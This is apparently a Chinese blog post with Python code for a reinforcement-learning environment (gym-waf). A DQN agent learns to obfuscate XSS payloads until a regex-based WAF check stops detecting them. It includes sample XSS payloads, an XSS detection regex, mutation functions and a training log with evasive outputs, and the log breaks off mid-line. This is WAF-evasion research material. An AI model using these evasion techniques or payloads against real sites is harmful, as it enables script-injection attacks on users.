WAF 强化学习
参考：https://github.com/duoergun0729/3book/tree/master/code/gym-waf
代码：
wafEnv.py
#-*- coding:utf-8 –*-
import numpy as np
import re
import random
from gym import spaces
import gym
from sklearn.model_selection import train_test_split
#samples_file="xss-samples.txt"
samples_file="xss-samples-all.txt"
samples=[]
with open(samples_file) as f:
for line in f:
line = line.strip('\n')
print("Add xss sample:" + line)
samples.append(line)
# 划分训练和测试集合
samples_train, samples_test = train_test_split(samples, test_size=0.4)
class Xss_Manipulator(object):
def __init__(self):
self.dim = 0
self.name=""
#常见免杀动作：
# 随机字符转16进制 比如： a转换成a；
# 随机字符转10进制 比如： a转换成a；
# 随机字符转10进制并假如大量0 比如： a转换成a；
# 插入注释 比如： /*abcde*/
# 插入Tab
# 插入回车
# 开头插入空格 比如： /**/
# 大小写混淆
# 插入 \00 也会被浏览器忽略
ACTION_TABLE = {
#'charTo16': 'charTo16',
#'charTo10': 'charTo10',
#'charTo10Zero': 'charTo10Zero',
'addComment': 'addComment',
'addTab': 'addTab',
'addZero': 'addZero',
'addEnter': 'addEnter',
}
def charTo16(self,str,seed=None):
#print("charTo16")
matchObjs = re.findall(r'[a-qA-Q]', str, re.M | re.I)
if matchObjs:
#print("search --> matchObj.group() : ", matchObjs)
modify_char=random.choice(matchObjs)
#字符转ascii值ord(modify_char
#modify_char_10=ord(modify_char)
modify_char_16="&#{};".format(hex(ord(modify_char)))
#print("modify_char %s to %s" % (modify_char,modify_char_10))
#替换
str=re.sub(modify_char, modify_char_16, str,count=random.randint(1,3))
return str
def charTo10(self,str,seed=None):
#print("charTo10")
matchObjs = re.findall(r'[a-qA-Q]', str, re.M | re.I)
if matchObjs:
#print("search --> matchObj.group() : ", matchObjs)
modify_char=random.choice(matchObjs)
#字符转ascii值ord(modify_char
#modify_char_10=ord(modify_char)
modify_char_10="&#{};".format(ord(modify_char))
#print("modify_char %s to %s" % (modify_char,modify_char_10))
#替换
str=re.sub(modify_char, modify_char_10, str)
return str
def charTo10Zero(self,str,seed=None):
#print("charTo10")
matchObjs = re.findall(r'[a-qA-Q]', str, re.M | re.I)
if matchObjs:
#print("search --> matchObj.group() : ", matchObjs)
modify_char=random.choice(matchObjs)
#字符转ascii值ord(modify_char
#modify_char_10=ord(modify_char)
modify_char_10="�{};".format(ord(modify_char))
#print("modify_char %s to %s" % (modify_char,modify_char_10))
#替换
str=re.sub(modify_char, modify_char_10, str)
return str
def addComment(self,str,seed=None):
#print("charTo10")
matchObjs = re.findall(r'[a-qA-Q]', str, re.M | re.I)
if matchObjs:
#选择替换的字符
modify_char=random.choice(matchObjs)
#生成替换的内容
#modify_char_comment="{}/*a{}*/".format(modify_char,modify_char)
modify_char_comment = "{}/*8888*/".format(modify_char)
#替换
str=re.sub(modify_char, modify_char_comment, str)
return str
def addTab(self,str,seed=None):
#print("charTo10")
matchObjs = re.findall(r'[a-qA-Q]', str, re.M | re.I)
if matchObjs:
#选择替换的字符
modify_char=random.choice(matchObjs)
#生成替换的内容
modify_char_tab=" {}".format(modify_char)
#替换
str=re.sub(modify_char, modify_char_tab, str)
return str
def addZero(self,str,seed=None):
#print("charTo10")
matchObjs = re.findall(r'[a-qA-Q]', str, re.M | re.I)
if matchObjs:
#选择替换的字符
modify_char=random.choice(matchObjs)
#生成替换的内容
modify_char_zero="\\00{}".format(modify_char)
#替换
str=re.sub(modify_char, modify_char_zero, str)
return str
def addEnter(self,str,seed=None):
#print("charTo10")
matchObjs = re.findall(r'[a-qA-Q]', str, re.M | re.I)
if matchObjs:
#选择替换的字符
modify_char=random.choice(matchObjs)
#生成替换的内容
modify_char_enter="\\r\\n{}".format(modify_char)
#替换
str=re.sub(modify_char, modify_char_enter, str)
return str
def modify(self,str, _action, seed=6):
print("Do action :%s" % _action)
action_func=Xss_Manipulator().__getattribute__(_action)
return action_func(str,seed)
ACTION_LOOKUP = {i: act for i, act in enumerate(Xss_Manipulator.ACTION_TABLE.keys())}
#<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
#a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
#"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
#<input onblur=write(XSS) autofocus><input autofocus>
#<math><a xlink:href="//jsfiddle.net/t846h/">click
#<h1><font color=blue>hellox worldss</h1>
#LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
class Waf_Check(object):
def __init__(self):
self.name="Waf_Check"
self.regXSS=r'(prompt|alert|confirm|expression])' \
r'|(javascript|script|eval)' \
r'|(onload|onerror|onfocus|onclick|ontoggle|onmousemove|ondrag)' \
r'|(String.fromCharCode)' \
r'|(;base64,)' \
r'|(onblur=write)' \
r'|(xlink:href)' \
r'|(color=)'
#self.regXSS = r'javascript'
def check_xss(self,str):
isxss=False
#忽略大小写
if re.search(self.regXSS,str,re.IGNORECASE):
isxss=True
return isxss
class Features(object):
def __init__(self):
self.dim = 0
self.name=""
self.dtype=np.float32
def byte_histogram(self,str):
#bytes=np.array(list(str))
bytes=[ord(ch) for ch in list(str)]
#print(bytes)
h = np.bincount(bytes, minlength=256)
return np.concatenate([
[h.sum()], # total size of the byte stream
h.astype(self.dtype).flatten() / h.sum(), # normalized the histogram
])
def extract(self,str):
featurevectors = [
[self.byte_histogram(str)]
]
return np.concatenate(featurevectors)
class WafEnv_v0(gym.Env):
metadata = {
'render.modes': ['human', 'rgb_array'],
}
def __init__(self):
self.action_space = spaces.Discrete(len(ACTION_LOOKUP))
#xss样本特征集合
#self.samples=[]
#当前处理的样本
self.current_sample=""
#self.current_state=0
self.features_extra=Features()
self.waf_checker=Waf_Check()
#根据动作修改当前样本免杀
self.xss_manipulatorer= Xss_Manipulator()
self._reset()
def _seed(self, num):
pass
def _step(self, action):
r=0
is_gameover=False
#print("current sample:%s" % self.current_sample)
_action=ACTION_LOOKUP[action]
#print("action is %s" % _action)
self.current_sample=self.xss_manipulatorer.modify(self.current_sample,_action)
#print("change current sample to %s" % self.current_sample)
if not self.waf_checker.check_xss(self.current_sample):
#给奖励
r=10
is_gameover=True
print("Good!!!!!!!avoid waf:%s" % self.current_sample)
self.observation_space=self.features_extra.extract(self.current_sample)
return self.observation_space, r,is_gameover,{}
def _reset(self):
self.current_sample=random.choice(samples_train)
print("reset current_sample=" + self.current_sample)
self.observation_space=self.features_extra.extract(self.current_sample)
return self.observation_space
def render(self, mode='human', close=False):
return
主代码：
#-*- coding:utf-8 –*-
import gym
import time
import random
import gym_waf.envs.wafEnv
import pickle
import numpy as np
from keras.models import Sequential
from keras.layers import Dense, Activation, Flatten, ELU, Dropout, BatchNormalization
from keras.optimizers import Adam, SGD, RMSprop
from rl.agents.dqn import DQNAgent
from rl.agents.sarsa import SarsaAgent
from rl.policy import EpsGreedyQPolicy
from rl.memory import SequentialMemory
from gym_waf.envs.wafEnv import samples_test,samples_train
# from gym_waf.envs.features import Features
from gym_waf.envs.waf import Waf_Check
from gym_waf.envs.xss_manipulator import Xss_Manipulator
from keras.callbacks import TensorBoard
ENV_NAME = 'Waf-v0'
#尝试的最大次数
nb_max_episode_steps_train=50
nb_max_episode_steps_test=3
ACTION_LOOKUP = {i: act for i, act in enumerate(Xss_Manipulator.ACTION_TABLE.keys())}
class Features(object):
def __init__(self):
self.dim = 0
self.name=""
self.dtype=np.float32
def byte_histogram(self,str):
#bytes=np.array(list(str))
bytes=[ord(ch) for ch in list(str)]
#print(bytes)
h = np.bincount(bytes, minlength=256)
return np.concatenate([
[h.sum()], # total size of the byte stream
h.astype(self.dtype).flatten() / h.sum(), # normalized the histogram
])
def extract(self,str):
featurevectors = [
[self.byte_histogram(str)]
]
return np.concatenate(featurevectors)
def generate_dense_model(input_shape, layers, nb_actions):
model = Sequential()
model.add(Flatten(input_shape=input_shape))
model.add(Dropout(0.1))
for layer in layers:
model.add(Dense(layer))
model.add(BatchNormalization())
model.add(ELU(alpha=1.0))
model.add(Dense(nb_actions))
model.add(Activation('linear'))
print(model.summary())
return model
def train_dqn_model(layers, rounds=10000):
env = gym.make(ENV_NAME)
env.seed(1)
nb_actions = env.action_space.n
window_length = 1
print("nb_actions:")
print(nb_actions)
print("env.observation_space.shape:")
print(env.observation_space.shape)
model = generate_dense_model((window_length,) + env.observation_space.shape, layers, nb_actions)
policy = EpsGreedyQPolicy()
memory = SequentialMemory(limit=256, ignore_episode_boundaries=False, window_length=window_length)
agent = DQNAgent(model=model, nb_actions=nb_actions, memory=memory, nb_steps_warmup=16,
enable_double_dqn=True, enable_dueling_network=True, dueling_type='avg',
target_model_update=1e-2, policy=policy, batch_size=16)
agent.compile(RMSprop(lr=1e-3), metrics=['mae'])
#tb_cb = TensorBoard(log_dir='/tmp/log', write_images=1, histogram_freq=1)
#cbks = [tb_cb]
# play the game. learn something!
#nb_max_episode_steps 一次学习周期中最大步数
agent.fit(env, nb_steps=rounds, nb_max_episode_steps=nb_max_episode_steps_train,visualize=False, verbose=2)
#print("#################Start Test%################")
#agent.test(env, nb_episodes=100)
test_samples=samples_test
features_extra = Features()
waf_checker = Waf_Check()
# 根据动作修改当前样本免杀
xss_manipulatorer = Xss_Manipulator()
success=0
sum=0
shp = (1,) + tuple(model.input_shape[1:])
for sample in samples_test:
#print(sample)
sum+=1
for _ in range(nb_max_episode_steps_test):
if not waf_checker.check_xss(sample) :
success+=1
print(sample)
break
f = features_extra.extract(sample).reshape(shp)
act_values = model.predict(f)
action=np.argmax(act_values[0])
sample=xss_manipulatorer.modify(sample,ACTION_LOOKUP[action])
print("Sum:{} Success:{}".format(sum,success))
return agent, model
if __name__ == '__main__':
agent1, model1= train_dqn_model([5, 2], rounds=1000)
model1.save('waf-v0.h5', overwrite=True)
效果：
reset current_sample=<img src=`xx:xx`onerror=alert(1)> Do action :addEnter Do action :addComment Good!!!!!!!avoid waf:<img src=`xx:xx` one/*8888*/rr or=ale/*8888*/rt(1)> 987/1000: episode: 221, duration: 0.016s, episode steps: 2, steps per second: 122, episode reward: 10.000, mean reward: 5.000 [0.000, 10.000], mean action: 1.500 [0.000, 3.000], mean observation: 0.179 [0.000, 53.000], loss: 1.608465, mean_absolute_error: 3.369818, mean_q: 7.756353 reset current_sample=<!--<img src="--><img src=x onerror=alert(123)//"> Do action :addEnter Do action :addEnter Do action :addEnter Do action :addZero Do action :addEnter Do action :addEnter Do action :addEnter Do action :addEnter Do action :addEnter Good!!!!!!!avoid waf:<!--<
